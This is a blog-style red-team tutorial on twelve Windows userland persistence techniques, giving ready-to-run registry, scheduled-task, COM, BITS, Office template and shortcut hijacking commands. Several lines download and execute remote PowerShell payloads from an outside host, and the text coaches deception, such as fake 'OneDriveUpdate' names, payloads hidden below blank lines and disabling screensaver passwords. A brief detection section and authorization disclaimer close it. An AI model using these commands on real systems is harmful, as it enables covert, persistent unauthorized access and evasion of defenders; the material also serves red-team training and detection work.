Windows Userland Persistence: The Senior Red Teamer's Playbook
Updated on February 15, 2026
Table of Contents
- Introduction
- Prerequisites
- 1. Initial Information Gathering
- 2. Registry Run Keys (HKCU)
- 3. The Startup Folder
- 4. Userland Scheduled Tasks
- 5. Screensaver Hijacking
- 6. PowerShell Profiles
- 7. COM Hijacking (Userland)
- 8. Logon Scripts (Environment Variables)
- 9. File Association Hijacking
- 10. BITS Jobs
- 11. Office Template Hijacking
- 12. Desktop Shortcut Modification (LNK Hijacking)
- Detection & Mitigation
- Conclusion
Introduction
Let's be real for a second. Everyone wants Domain Admin. It's the shiny trophy at the end of the race. But in a real red team engagement, you don't always get that level of access immediately. Sometimes, you're stuck as a standard user for days, maybe weeks. If the target reboots their machine and you lose your shell because you were waiting for a privilege escalation exploit, you've failed the most basic requirement of the job: access.
That's where Windows userland persistence comes in.
Now, I know what you're thinking - "Isn't userland persistence noisy?" "Won't Autoruns catch it?" Sure, if you're lazy. But userland techniques are powerful because they don't require administrative privileges. You can set them up with the context you already have. I've used these exact techniques to maintain access to high-value targets in Fortune 500 environments while the Blue Team was busy watching the domain controllers.
In this guide, I'm going to walk you through 12 battle-tested techniques for maintaining persistence as a low-privileged user on Windows. We'll move from the simple stuff you can do in seconds to more complex methods involving COM hijacking and registry manipulation.
Prerequisites
Before we dive in, let's set the stage. You don't need SYSTEM or Administrator rights for anything in this article.
- Access Level: Standard Domain User or Local User
- Target Environment: Windows 10/11, Server 2016/2019/2022
- Tools:
For the examples below, I'll be using standard Windows binaries (LOLBins) and PowerShell so you can execute this without dropping custom tools if you don't have to. You might also want to check our guide on Active Directory Persistence Techniques to understand how to leverage existing system tools effectively.
1. Initial Information Gathering
Before you plant your flag, you need to know where the ground is soft. You can't just throw registry keys around blindly. You need to know the username and the environment variables.
PowerShell
# Check current user and privileges
whoami /all
# Check environment variables for paths
Get-ChildItem Env:
# List current scheduled tasks to see what's normal (noise reduction)
schtasks /query /fo LIST /v
Once you know who you are and where APPDATA is, you can start digging in.
2. Registry Run Keys (HKCU)
MITRE ATT&CK: T1547.001
This is the bread and butter of persistence. It's simple, reliable, but yes, it's the first place defenders look. However, in a large environment with limited monitoring on workstations, this still works surprisingly well.
The key here is HKCU (HKEY_CURRENT_USER). You have full write access here.
Bash
# Method 1: The standard Run key
# Note: Use a deceptive name like "OneDriveUpdate" or "WindowsHealth"
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f
# Method 2: RunOnce (Good for a single callback after reboot)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "CleanupTask" /t REG_SZ /d "powershell.exe -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')" /f
3. The Startup Folder
MITRE ATT&CK: T1547.001
If you can drop a file, you can persist. The Startup folder is monitored, but if you mask your payload as a legitimate shortcut (.lnk), it often slips by. The path we care about is %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup.
PowerShell
# 1. Switch to the startup directory
cd "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
# 2. Create a simple LNK file using WScript (more stealthy than dropping a batch file)
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\Update.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\cmd.exe"
$Shortcut.Arguments = "/c C:\Users\Public\payload.exe"
$Shortcut.WindowStyle = 7 # 7 = Minimized, keeps it out of sight
$Shortcut.Save()
4. Userland Scheduled Tasks
MITRE ATT&CK: T1053.005
Scheduled tasks are flexible and can be triggered by things other than just "time," like system idle or workstation lock/unlock events. You don't need admin rights to create a task for the current user.
Bash
# 1. Create a task that runs on user logon
# /tr = Task Run (the payload)
# /sc = Schedule (onlogon)
# /ru = Run as User (current user context)
schtasks /create /tn "OneDrive Sync Helper" /tr "C:\Users\Public\payload.exe" /sc onlogon /ru %USERNAME%
# 2. Create a task that runs on idle (Great for cryptominers or heavy recon)
schtasks /create /tn "SystemIdleCheck" /tr "powershell.exe -file C:\Users\Public\recon.ps1" /sc onidle /i 10
For more stealthy ways to hide these payloads, check out our guide on Advanced Red Team Operations.
5. Screensaver Hijacking
MITRE ATT&CK: T1546.002
This works if Group Policy doesn't enforce specific screensaver settings. When a user goes inactive, Windows triggers the screensaver binary. We can replace that binary path in the registry with our payload.
Bash
# 1. Disable the "secure" screensaver (password requirement) if possible
reg add "HKCU\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d "0" /f
# 2. Enable the screensaver
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
# 3. Point the screensaver binary to your payload
# Note: Your payload MUST handle the arguments Windows passes to screensavers (/s, /p)
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Users\Public\payload.cmd" /f
6. PowerShell Profiles
MITRE ATT&CK: T1546.013
This is perfect when targeting developers or admins. The PowerShell profile script runs automatically every time a PowerShell session starts. We use it to load our payload into memory. You can read more about PowerShell Security Best Practices to see how defenders try to block this.
PowerShell
# 1. Check if a profile already exists
Test-Path $PROFILE
# 2. If it returns False, create the file at:
# C:\Users\<User>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
New-Item -Path $PROFILE -Type File -Force
# 3. Append your malicious payload
# Ideally, use a one-liner that downloads and executes in memory (Fileless)
$Payload = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/payload.ps1")'
Add-Content -Path $PROFILE -Value $Payload
Pro Tip: Add 50-100 lines of blank space or "commented out" legitimate-looking code before your payload to hide it "below the fold."
Check out our PowerShell Red Teaming articles for more on obfuscation.
7. COM Hijacking (Userland)
MITRE ATT&CK: T1546.015
COM Hijacking is stealthy because it doesn't use standard "Run" keys. If an application tries to load a COM object, it looks in HKCU (Current User) before HKLM (Local Machine). We can create an entry in HKCU that points to our malicious DLL, and the app will load it instead of the system one.
PowerShell
# 1. Define the target CLSID (Example purposes only - finding a live one takes recon)
$CLSID = "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
$PayloadDLL = "C:\Users\Public\evil.dll"
# 2. Create the Registry Structure in HKCU
New-Item -Path "HKCU:\Software\Classes\CLSID\$CLSID" -Force
New-Item -Path "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32" -Force
# 3. Set the default value to your malicious DLL
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32" -Name "(default)" -Value $PayloadDLL
# 4. Set the ThreadingModel
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32" -Name "ThreadingModel" -Value "Apartment"
8. Logon Scripts (Environment Variables)
MITRE ATT&CK: T1037.001
Windows checks HKCU\Environment for a value called UserInitMprLogonScript. If set, the system executes the defined script during user logon. It's often missed because defenders focus on the Startup folder.
Bash
# 1. Add the persistence pointing to a batch file
reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Music\update.bat" /f
# 2. Create the dummy batch file
echo @echo off > C:\Users\Public\Music\update.bat
echo start /min C:\Users\Public\Music\payload.exe >> C:\Users\Public\Music\update.bat
9. File Association Hijacking
MITRE ATT&CK: T1546.001
If the user frequently opens specific file types (like .txt or .log), you can hijack the command that opens them. Instead of just opening Notepad, it runs your script and then opens Notepad.
Bash
# 1. Check the current handler for .txt files
assoc .txt
# Output might be: .txt=txtfile
# 2. Check the command for 'txtfile'
ftype txtfile
# 3. Hijack it in HKCU (No admin needed)
reg add "HKCU\Software\Classes\txtfile\shell\open\command" /ve /t REG_SZ /d "cmd.exe /c start /min C:\Users\Public\payload.exe & notepad.exe %1" /f
10. BITS Jobs
MITRE ATT&CK: T1197
BITS (Background Intelligent Transfer Service) is used by Windows Update. We can create a BITS job that attempts to download a file and executes a command when the job "errors" out or "completes."
Bash
# 1. Create a new job named "WindowsUpdate" (Camouflage)
bitsadmin /create WindowsUpdate
# 2. Add a file to the job (doesn't need to be real if using error trigger)
bitsadmin /addfile WindowsUpdate http://10.10.10.10/legit.png C:\Users\Public\legit.png
# 3. Set the command to run when the job tries to transfer
bitsadmin /SetNotifyCmdLine WindowsUpdate "C:\Users\Public\payload.exe" NULL
# 4. Activate the job
bitsadmin /resume WindowsUpdate
11. Office Template Hijacking
MITRE ATT&CK: T1137.001
Microsoft Word uses a global template file called Normal.dotm. If we inject a malicious macro into this file, we get code execution every time the user opens any document. Understanding Macro Security Settings is crucial here to ensure your payload actually fires.
The file is located at %APPDATA%\Microsoft\Templates\Normal.dotm.
PowerShell
# 1. Rename original for backup
Rename-Item "$env:APPDATA\Microsoft\Templates\Normal.dotm" "Normal.old"
# 2. Download your weaponized template (created previously on your attack box)
Invoke-WebRequest -Uri "http://10.10.10.10/malicious_Normal.dotm" -OutFile "$env:APPDATA\Microsoft\Templates\Normal.dotm"
12. Desktop Shortcut Modification (LNK Hijacking)
MITRE ATT&CK: T1547.009
Users click icons on their desktop every day. We can modify those shortcuts to run our payload first, and then launch the legitimate application.
PowerShell
$TargetLnk = "$env:USERPROFILE\Desktop\Google Chrome.lnk"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($TargetLnk)
# We change it to run cmd.exe, which runs our payload, then runs Chrome.
$Shortcut.TargetPath = "cmd.exe"
$Shortcut.Arguments = "/c start C:\Users\Public\payload.exe & start `"chrome`" `"C:\Program Files\Google\Chrome\Application\chrome.exe`""
$Shortcut.IconLocation = "C:\Program Files\Google\Chrome\Application\chrome.exe,0" # Keep the original icon!
$Shortcut.WindowStyle = 7 # Minimized
$Shortcut.Save()
Visually, nothing changes. The icon is the same. But when they click it, you get a shell.
Detection & Mitigation
If you are on the Blue Team side, here is how you hunt these down:
- Autoruns (Sysinternals): Run it and check "Logon", "Scheduled Tasks", "Image Hijacks", and "Office" tabs.
- Registry Auditing: Monitor
HKCU\Software\Microsoft\Windows\CurrentVersion\RunandHKCU\Environment. - PowerShell Logging: Enable Script Block Logging (Event ID 4104).
- File Integrity Monitoring: Watch the Startup folder and
Normal.dotm.
Conclusion
Userland persistence is often underestimated. While it doesn't give you system-wide control immediately, it keeps you in the game. In a red team engagement, survival is half the battle. If you can maintain a foothold as a standard user, you have infinite time to find that privilege escalation vector.
Always remember to clean up your artifacts after an engagement. Leaving a "Userland Scheduled Task" behind is sloppy and unprofessional.
Happy hacking!
Note: Before pentesting any system, have proper authorization from concerned authorities and follow ethical guidelines.
Enjoyed this guide? Share your thoughts below and tell us how you leverage Windows Userland Persistence in your projects!


No comments:
Post a Comment